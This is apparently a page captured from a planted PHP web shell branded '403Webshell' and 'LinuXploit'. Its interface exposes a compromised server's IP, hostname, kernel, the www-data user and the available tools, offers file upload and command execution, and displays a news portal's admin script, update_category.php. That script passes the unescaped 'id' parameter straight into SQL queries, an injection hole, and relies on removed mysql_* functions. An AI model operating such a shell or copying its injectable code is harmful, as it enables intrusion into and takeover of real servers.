403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.206
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rasin_ftp/news_portal/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rasin_ftp/news_portal/admin/update_category.php
<?php
ob_start ();
@session_start ();
include ("../config.php");

$category = mysql_real_escape_string($_REQUEST ['category']);
$id = $_REQUEST ['id'];

$chars = array ("!", "\"", "#", "$", "%", "&", "/", "(", ")", "?", "*", "+", "-", ".", ",", ";", ":", "_" );
$catnew = str_replace ( $chars, "-", $category );


 $query = "update category set category='$category' where id='$id'";
$rst = mysql_query ( $query ) or die ( mysql_error () );
if ($_FILES ['pic'] ['tmp_name'] != '') {
	$file_name = $_FILES ['pic'] ['name'];
	$temp_name = $_FILES ['pic'] ['tmp_name'];
	$file_parts = pathinfo ( $file_name );
	$new_filename = trim ( $file_parts ['filename'] ) . "." . $file_parts ['extension'];

	if ((strtolower ( $file_parts ['extension'] ) == 'jpg') || (strtolower ( $file_parts ['extension'] ) == 'jpeg') || (strtolower ( $file_parts ['extension'] ) == 'png')) {

		move_uploaded_file ( $temp_name, "../uploadimage/$new_filename" );

		$query1 = "update category set pic='$new_filename' where id='$id'";
		$run1 = mysql_query ( $query1 );

	}

}

header ( "location:view_category.php" );

?>

Youez - 2016 - github.com/yon3zu
LinuXploit